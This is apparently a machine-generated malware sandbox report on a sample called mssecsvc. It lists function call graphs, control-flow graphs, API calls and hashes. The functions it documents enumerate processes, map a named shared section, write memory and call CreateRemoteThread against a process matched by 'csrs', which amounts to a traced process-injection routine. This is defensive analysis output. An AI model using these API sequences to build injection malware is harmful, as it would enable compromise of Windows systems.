7342->7347 7348 c242f2 Sleep ResetEvent 7342->7348 7349 c240ef GetVersionExA 7342->7349 7350 c24172 wsprintfA 7342->7350 7351 c241a7 CreateThread CloseHandle 7342->7351 7352 c241f6 GetTickCount 7342->7352 7353 c24288 Sleep 7342->7353 7343->7342 7345 c240a6 connect 7343->7345 7345->7342 7345->7347 7346->7342 7347->7342 7348->7342 7349->7342 7350->7342 7351->7342 7352->7342 7353->7342 7354 c24294 GetTickCount 7353->7354 7354->7342 7355 c2116f LoadLibraryA 7358 c21196 GetProcAddress 7355->7358 7357 c21180 7358->7357 7406 c2662d 7407 c26647 5 API calls 7406->7407 7408 c26637 7407->7408 7417 c2443b 7420 c2144a LookupPrivilegeValueA NtAdjustPrivilegesToken 7417->7420 7419 c24441 7420->7419 6394 c202fe 6395 c20415 6394->6395 6397 c2042d 6395->6397 6426 c210ce 6397->6426 6399 c2048f 6400 c204dd 6399->6400 6401 c204b0 GetModuleHandleA 6399->6401 6402 c204f8 GetVersion 6400->6402 6401->6400 6403 c2050f VirtualAlloc 6402->6403 6417 c205ca 6402->6417 6404 c205a9 FindCloseChangeNotification 6403->6404 6407 c20532 6403->6407 6404->6417 6405 c205d3 SetProcessAffinityMask 6433 c205f2 GetModuleHandleA 6405->6433 6407->6404 6430 c205ba 6407->6430 6408 c206fc lstrcpyW 6455 c224ae lstrcpyW lstrlenW 6408->6455 6410 c20717 GetPEB lstrcpyW lstrcatW 6413 c224ae 3 API calls 6410->6413 6411 c2074c NtMapViewOfSection 6411->6404 6411->6417 6413->6417 6414 c20780 NtOpenProcessToken 6415 c207c5 CreateToolhelp32Snapshot Process32First 6414->6415 6414->6417 6416 c207eb Process32Next 6415->6416 6416->6417 6418 c20865 FindCloseChangeNotification 6416->6418 6417->6404 6417->6405 6417->6408 6417->6410 6417->6411 6417->6414 6417->6416 6420 c207fd OpenProcess 6417->6420 6422 c207b7 CreateToolhelp32Snapshot Process32First 6417->6422 6423 c2085c FindCloseChangeNotification 6417->6423 6424 c20834 CreateRemoteThread 6417->6424 6425 c205ba Sleep 6417->6425 6458 c207ac 6417->6458 6481 c22574 6417->6481 6418->6404 6420->6416 6420->6417 6422->6416 6423->6416 6424->6417 6424->6423 6425->6423 6427 c210db 6426->6427 6427->6426 6428 c2115c 6427->6428 6429 c21133 GetModuleHandleA GetProcAddress 6427->6429 6428->6399 6429->6427 6431 c205c9 6430->6431 6432 c205bf Sleep 6430->6432 6431->6404 6432->6430 6434 c210ce 2 API calls 6433->6434 6450 c205ca 6434->6450 6435 c205a9 FindCloseChangeNotification 6435->6450 6436 c205d3 SetProcessAffinityMask 6437 c205f2 30 API calls 6436->6437 6437->6450 6438 c206fc lstrcpyW 6439 c224ae 3 API calls 6438->6439 6439->6450 6440 c20717 GetPEB lstrcpyW lstrcatW 6442 c224ae 3 API calls 6440->6442 6441 c2074c NtMapViewOfSection 6441->6435 6441->6450 6442->6450 6443 c20780 NtOpenProcessToken 6444 c207c5 CreateToolhelp32Snapshot Process32First 6443->6444 6443->6450 6445 c207eb Process32Next 6444->6445 6446 c20865 FindCloseChangeNotification 6445->6446 6445->6450 6446->6435 6447 c207ac 30 API calls 6447->6450 6448 c207fd OpenProcess 6448->6445 6448->6450 6449 c22574 5 API calls 6449->6450 6450->6435 6450->6436 6450->6438 6450->6440 6450->6441 6450->6443 6450->6445 6450->6447 6450->6448 6450->6449 6451 c207b7 CreateToolhelp32Snapshot Process32First 6450->6451 6452 c2085c FindCloseChangeNotification 6450->6452 6453 c20834 CreateRemoteThread 6450->6453 6454 c205ba Sleep 6450->6454 6451->6445 6452->6445 6453->6450 6453->6452 6454->6452 6500 c26c09 6455->6500 6502 c2144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6458->6502 6460 c207b2 FreeLibrary FindCloseChangeNotification 6461 c207c5 CreateToolhelp32Snapshot Process32First 6460->6461 6462 c207eb Process32Next 6461->6462 6463 c20865 FindCloseChangeNotification 6462->6463 6472 c205ca 6462->6472 6464 c205a9 FindCloseChangeNotification 6463->6464 6464->6472 6465 c207fd OpenProcess 6465->6462 6465->6472 6466 c205d3 SetProcessAffinityMask 6468 c205f2 29 API calls 6466->6468 6467 c22574 5 API calls 6467->6472 6468->6472 6469 c2085c FindCloseChangeNotification 6469->6462 6470 c20834 CreateRemoteThread 6470->6469 6470->6472 6471 c205ba Sleep 6471->6469 6472->6462 6472->6464 6472->6465 6472->6466 6472->6467 6472->6469 6472->6470 6472->6471 6473 c206fc lstrcpyW 6472->6473 6475 c20717 GetPEB lstrcpyW lstrcatW 6472->6475 6476 c2074c NtMapViewOfSection 6472->6476 6478 c20780 NtOpenProcessToken 6472->6478 6479 c207ac 29 API calls 6472->6479 6480 c207b7 CreateToolhelp32Snapshot Process32First 6472->6480 6474 c224ae 3 API calls 6473->6474 6474->6472 6477 c224ae 3 API calls 6475->6477 6476->6464 6476->6472 6477->6472 6478->6461 6478->6472 6479->6472 6480->6462 6503 c2252f NtOpenSection 6481->6503 6483 c2257c 6484 c22582 NtMapViewOfSection FindCloseChangeNotification 6483->6484 6485 c22661 6483->6485 6484->6485 6487 c225ba 6484->6487 6485->6417 6486 c225ef 6505 c22477 NtProtectVirtualMemory NtWriteVirtualMemory 6486->6505 6487->6486 6504 c22477 NtProtectVirtualMemory NtWriteVirtualMemory 6487->6504 6489 c22600 6506 c22477 NtProtectVirtualMemory NtWriteVirtualMemory 6489->6506 6492 c22611 6507 c22477 NtProtectVirtualMemory NtWriteVirtualMemory 6492->6507 6494 c22622 6495 c22637 6494->6495 6508 c22477 NtProtectVirtualMemory NtWriteVirtualMemory 6494->6508 6497 c2264c 6495->6497 6509 c22477 NtProtectVirtualMemory NtWriteVirtualMemory 6495->6509 6497->6485 6510 c22477 NtProtectVirtualMemory NtWriteVirtualMemory 6497->6510 6501 c26ce2 6500->6501 6502->6460 6503->6483 6504->6486 6505->6489 6506->6492 6507->6494 6508->6495 6509->6497 6510->6485 6549 7fea1196 GetProcAddress

                    Executed Functions

                    Function 00C2042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 0 c2042d-c204a4 call c210ce 3 c204a6-c204db call c2273c GetModuleHandleA 0->3 4 c204dd 0->4 5 c204e4-c20509 call c22750 GetVersion 3->5 4->5 10 c205ca-c205d1 5->10 11 c2050f-c20530 VirtualAlloc 5->11 13 c205a9-c205b3 FindCloseChangeNotification 10->13 14 c205d3-c205fc SetProcessAffinityMask call c205f2 10->14 12 c20532-c20562 call c20305 11->12 11->13 12->13 24 c20564-c2057b 12->24 13->10 19 c20621-c20623 14->19 20 c205fe-c2061c 14->20 22 c20625-c20630 19->22 23 c2064c-c20652 19->23 20->19 25 c20632 22->25 26 c20639-c20648 22->26 23->13 27 c20658-c20671 23->27 24->13 33 c2057d-c205a4 call c205ba 24->33 25->26 26->23 27->13 28 c20677-c20690 27->28 28->13 29 c20696-c2069c 28->29 31 c206d8-c206de 29->31 32 c2069e-c206b1 29->32 35 c206e0-c206f3 31->35 36 c206fc-c20715 lstrcpyW call c224ae 31->36 32->13 34 c206b7-c206bd 32->34 33->13 34->31 37 c206bf-c206d2 34->37 35->36 38 c206f5 35->38 43 c20717-c20746 GetPEB lstrcpyW lstrcatW call c224ae 36->43 44 c2074c-c20775 NtMapViewOfSection 36->44 37->13 37->31 38->36 43->13 43->44 44->13 47 c2077b-c2078f call c20305 NtOpenProcessToken 44->47 51 c20791-c207a3 call c2115d call c207ac 47->51 52 c207c5-c207e4 CreateToolhelp32Snapshot Process32First 47->52 62 c207a5 51->62 63 c2080e-c2080f 51->63 54 c207eb-c207f5 Process32Next 52->54 56 c207f7-c207fb 54->56 57 c20865-c20872 FindCloseChangeNotification 54->57 56->54 59 c207fd-c2080d OpenProcess 56->59 57->13 59->54 61 c2080f 59->61 64 c20810-c20818 call c22574 61->64 62->64 65 c207a7-c207e4 CreateToolhelp32Snapshot Process32First 62->65 63->64 69 c2081a-c20820 64->69 70 c2085c-c20863 FindCloseChangeNotification 64->70 65->54 69->70 71 c20822-c20832 69->71 70->54 71->70 72 c20834-c2084b CreateRemoteThread 71->72 72->70 73 c2084d-c20857 call c205ba 72->73 73->70
                    APIs
                    • GetModuleHandleA.KERNEL32(00000000), ref: 00C204BE
                    • GetVersion.KERNEL32 ref: 00C20500
                    • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 00C20528
                    • FindCloseChangeNotification.KERNELBASE(?), ref: 00C205AD
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: AllocChangeCloseFindHandleModuleNotificationVersionVirtual
                    • String ID: \BaseNamedObjects\jjmtVt$\BaseNamedObjects\jjmtVt$csrs
                    • API String ID: 2920002527-1503499647
                    • Opcode ID: a1cca778b9d131ab02a9bab09fad2c470fe9cc8104fb8fd4266929b9c5ae2937
                    • Instruction ID: 36be845c17ce4c8139219968f16be118429ca84d2e4eb1a732714de5ef58dc9f
                    • Opcode Fuzzy Hash: a1cca778b9d131ab02a9bab09fad2c470fe9cc8104fb8fd4266929b9c5ae2937
                    • Instruction Fuzzy Hash: E9B1CE71505259FFEB219F24D80ABAA3BADEF44710F20002AF9099E8C2C7F09F55DB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C205F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 75 c205f2-c20615 GetModuleHandleA call c210ce 78 c20617-c20630 75->78 79 c205a9-c205b3 FindCloseChangeNotification 75->79 80 c20632 78->80 81 c20639-c20648 78->81 82 c205ca-c205d1 79->82 80->81 83 c2064c-c20652 81->83 82->79 84 c205d3-c205fc SetProcessAffinityMask call c205f2 82->84 83->79 85 c20658-c20671 83->85 92 c20621-c20623 84->92 93 c205fe-c2061c 84->93 85->79 86 c20677-c20690 85->86 86->79 88 c20696-c2069c 86->88 90 c206d8-c206de 88->90 91 c2069e-c206b1 88->91 95 c206e0-c206f3 90->95 96 c206fc-c20715 lstrcpyW call c224ae 90->96 91->79 94 c206b7-c206bd 91->94 92->83 97 c20625-c20630 92->97 93->92 94->90 98 c206bf-c206d2 94->98 95->96 99 c206f5 95->99 102 c20717-c20746 GetPEB lstrcpyW lstrcatW call c224ae 96->102 103 c2074c-c20775 NtMapViewOfSection 96->103 97->80 97->81 98->79 98->90 99->96 102->79 102->103 103->79 105 c2077b-c2078f call c20305 NtOpenProcessToken 103->105 109 c20791-c207a3 call c2115d call c207ac 105->109 110 c207c5-c207e4 CreateToolhelp32Snapshot Process32First 105->110 120 c207a5 109->120 121 c2080e-c2080f 109->121 112 c207eb-c207f5 Process32Next 110->112 114 c207f7-c207fb 112->114 115 c20865-c20872 FindCloseChangeNotification 112->115 114->112 117 c207fd-c2080d OpenProcess 114->117 115->79 117->112 119 c2080f 117->119 122 c20810-c20818 call c22574 119->122 120->122 123 c207a7-c207e4 CreateToolhelp32Snapshot Process32First 120->123 121->122 127 c2081a-c20820 122->127 128 c2085c-c20863 FindCloseChangeNotification 122->128 123->112 127->128 129 c20822-c20832 127->129 128->112 129->128 130 c20834-c2084b CreateRemoteThread 129->130 130->128 131 c2084d-c20857 call c205ba 130->131 131->128
                    APIs
                    • FindCloseChangeNotification.KERNELBASE(?), ref: 00C205AD
                    • GetModuleHandleA.KERNEL32(00C205EC), ref: 00C205F2
                    • lstrcpyW.KERNEL32(\BaseNamedObjects\jjmtVt,\BaseNamedObjects\jjmtVt), ref: 00C2070A
                    • lstrcpyW.KERNEL32(\BaseNamedObjects\jjmtVt,?), ref: 00C2072D
                    • lstrcatW.KERNEL32(\BaseNamedObjects\jjmtVt,\jjmtVt), ref: 00C2073B
                    • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 00C2076B
                    • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 00C20786
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C207C9
                    • Process32First.KERNEL32 ref: 00C207DC
                    • Process32Next.KERNEL32 ref: 00C207ED
                    • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C20805
                    • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00C20842
                    • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C2085D
                    • FindCloseChangeNotification.KERNELBASE ref: 00C2086C
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: ChangeCloseFindNotification$CreateOpenProcessProcess32lstrcpy$FirstHandleModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                    • String ID: \BaseNamedObjects\jjmtVt$\BaseNamedObjects\jjmtVt$csrs
                    • API String ID: 3804105423-1503499647
                    • Opcode ID: be34348603cd9b4f73e26e2f06aad3c0d335d27853881731d1d58acdc97de124
                    • Instruction ID: 38a40edabeabf1f8bdae8e67900e3a2e8dcdba86d6b85b0a586d9c10b1ab7530
                    • Opcode Fuzzy Hash: be34348603cd9b4f73e26e2f06aad3c0d335d27853881731d1d58acdc97de124
                    • Instruction Fuzzy Hash: 2271AD31504225FFEB219F10EC4ABAE3BADEF44710F20002AF9099E8D2C7B59F459B59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C2252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 213 c2252f-c22573 NtOpenSection
                    APIs
                    • NtOpenSection.NTDLL(?,0000000E), ref: 00C2255E
                    Strings
                    • \BaseNamedObjects\jjmtVt, xrefs: 00C2254B
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: OpenSection
                    • String ID: \BaseNamedObjects\jjmtVt
                    • API String ID: 1950954290-15295260
                    • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                    • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                    • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                    • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C22574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 214 c22574-c2257c call c2252f 217 c22582-c225b4 NtMapViewOfSection FindCloseChangeNotification 214->217 218 c22661-c22664 214->218 217->218 219 c225ba-c225c0 217->219 220 c225c2-c225cb 219->220 221 c225ce-c225d8 219->221 220->221 222 c225da-c225e2 221->222 223 c225ef-c2262a call c22477 * 3 221->223 222->223 224 c225e4-c225ea call c22477 222->224 232 c22637-c2263f 223->232 233 c2262c-c22632 call c22477 223->233 224->223 235 c22641-c22647 call c22477 232->235 236 c2264c-c22654 232->236 233->232 235->236 236->218 238 c22656-c2265c call c22477 236->238 238->218
                    APIs
                      • Part of subcall function 00C2252F: NtOpenSection.NTDLL(?,0000000E), ref: 00C2255E
                    • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 00C225A4
                    • FindCloseChangeNotification.KERNELBASE(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,00C20815), ref: 00C225AC
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: Section$ChangeCloseFindNotificationOpenView
                    • String ID:
                    • API String ID: 1694706092-0
                    • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                    • Instruction ID: 0ee0342e5cf582401ff0e46ce74a05eee577a661eb9975ef3550e11ca9f82eb7
                    • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                    • Instruction Fuzzy Hash: E3215E70300216BBDB24EE25EC56FB97369AF80744F400128F8688E9E0DFB1AF14DB18
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C21422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 240 c21422-c21474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                    APIs
                    • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00C2145A
                    • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00C2146A
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                    • String ID:
                    • API String ID: 3615134276-0
                    • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                    • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                    • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                    • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C22477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 241 c22477-c224ad NtProtectVirtualMemory NtWriteVirtualMemory
                    APIs
                    • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 00C2249B
                    • NtWriteVirtualMemory.NTDLL ref: 00C224A4
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: MemoryVirtual$ProtectWrite
                    • String ID:
                    • API String ID: 151266762-0
                    • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                    • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                    • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                    • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C2144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 242 c2144a-c21474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                    APIs
                    • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00C2145A
                    • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00C2146A
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                    • String ID:
                    • API String ID: 3615134276-0
                    • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                    • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                    • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                    • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C207AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 133 c207ac-c207bf call c2144a FreeLibrary FindCloseChangeNotification 136 c207c5-c207e4 CreateToolhelp32Snapshot Process32First 133->136 137 c207eb-c207f5 Process32Next 136->137 138 c207f7-c207fb 137->138 139 c20865-c20872 FindCloseChangeNotification 137->139 138->137 141 c207fd-c2080d OpenProcess 138->141 140 c205a9-c205d1 FindCloseChangeNotification 139->140 145 c205d3-c205fc SetProcessAffinityMask call c205f2 140->145 141->137 142 c2080f 141->142 144 c20810-c20818 call c22574 142->144 149 c2081a-c20820 144->149 150 c2085c-c20863 FindCloseChangeNotification 144->150 153 c20621-c20623 145->153 154 c205fe-c2061c 145->154 149->150 152 c20822-c20832 149->152 150->137 152->150 155 c20834-c2084b CreateRemoteThread 152->155 156 c20625-c20630 153->156 157 c2064c-c20652 153->157 154->153 155->150 158 c2084d-c20857 call c205ba 155->158 159 c20632 156->159 160 c20639-c20648 156->160 157->140 161 c20658-c20671 157->161 158->150 159->160 160->157 161->140 162 c20677-c20690 161->162 162->140 164 c20696-c2069c 162->164 165 c206d8-c206de 164->165 166 c2069e-c206b1 164->166 168 c206e0-c206f3 165->168 169 c206fc-c20715 lstrcpyW call c224ae 165->169 166->140 167 c206b7-c206bd 166->167 167->165 170 c206bf-c206d2 167->170 168->169 171 c206f5 168->171 174 c20717-c20746 GetPEB lstrcpyW lstrcatW call c224ae 169->174 175 c2074c-c20775 NtMapViewOfSection 169->175 170->140 170->165 171->169 174->140 174->175 175->140 177 c2077b-c2078f call c20305 NtOpenProcessToken 175->177 177->136 181 c20791-c207a3 call c2115d call c207ac 177->181 186 c207a5 181->186 187 c2080e-c2080f 181->187 186->144 188 c207a7-c207e4 CreateToolhelp32Snapshot Process32First 186->188 187->144 188->137
                    APIs
                      • Part of subcall function 00C2144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00C2145A
                      • Part of subcall function 00C2144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00C2146A
                    • FindCloseChangeNotification.KERNELBASE(?), ref: 00C205AD
                    • FreeLibrary.KERNEL32(74D90000,?,00C2079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C207B8
                    • FindCloseChangeNotification.KERNELBASE(?,?,00C2079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C207BF
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C207C9
                    • Process32First.KERNEL32 ref: 00C207DC
                    • Process32Next.KERNEL32 ref: 00C207ED
                    • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C20805
                    • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00C20842
                    • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C2085D
                    • FindCloseChangeNotification.KERNELBASE ref: 00C2086C
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: ChangeCloseFindNotification$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                    • String ID: csrs
                    • API String ID: 238827593-2321902090
                    • Opcode ID: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                    • Instruction ID: b1f930b0016245aabf4038d43f380eabbf2a1884f6359c32322758450e2c4e5c
                    • Opcode Fuzzy Hash: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                    • Instruction Fuzzy Hash: 93114230505225BFEB255F21DC49FBF3E6DEF44701F10002EFD4A99482C6B49F019A6A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA4499 Relevance: 7.6, APIs: 5, Instructions: 83fileCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 190 7fea4499-7fea44a1 191 7fea44c8-7fea4504 CreateFileA 190->191 192 7fea44a3-7fea44ad GetFileAttributesA 190->192 199 7fea4506-7fea451f 191->199 200 7fea4527-7fea454d 191->200 192->191 194 7fea44af-7fea44c0 SetFileAttributesA 192->194 194->191 196 7fea44c2 194->196 196->191 199->200 203 7fea4521 199->203 205 7fea4558-7fea4582 CreateFileMappingA 200->205 206 7fea454f-7fea4556 200->206 203->200 209 7fea458d-7fea45a2 MapViewOfFile 205->209 210 7fea4584-7fea458b 205->210 206->205 212 7fea45a8-7fea45ae 209->212 210->209
                    APIs
                    • GetFileAttributesA.KERNELBASE(?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44A4
                    • SetFileAttributesA.KERNELBASE(?,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44B8
                    • CreateFileA.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44ED
                    • CreateFileMappingA.KERNEL32(?,00000000,00000004,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA4565
                    • MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA459A
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: File$AttributesCreate$MappingView
                    • String ID:
                    • API String ID: 1961427682-0
                    • Opcode ID: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                    • Instruction ID: 5241e261c6a8b1a9cf08daa61a461fa69fc83fe37cd40be9c894cf7c8eac2c63
                    • Opcode Fuzzy Hash: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                    • Instruction Fuzzy Hash: E62112B0205309BFEF219E658D45BFA366DAF01619F500229E91A9E0A4D7F5AF058728
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C205BA Relevance: 1.3, APIs: 1, Instructions: 7sleepCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 243 c205ba-c205bd 244 c205c9 243->244 245 c205bf-c205c7 Sleep 243->245 245->243
                    APIs
                    • Sleep.KERNELBASE(0000000A,00C2085C,?,00000000,00000000,-00003C38,00000002,00000000,?,00000000), ref: 00C205C1
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: Sleep
                    • String ID:
                    • API String ID: 3472027048-0
                    • Opcode ID: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                    • Instruction ID: fd61343821a5b324ad2b4e06e4711fc11b0b5edaf1ab52de629d7bd54d2e8f11
                    • Opcode Fuzzy Hash: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                    • Instruction Fuzzy Hash: 70B0122824431095DA140910640DB0416247F00B11FF0007BF2064C8C507E407001C0D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Function 7FEA3C3D Relevance: 42.5, APIs: 21, Strings: 3, Instructions: 487libraryloaderCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
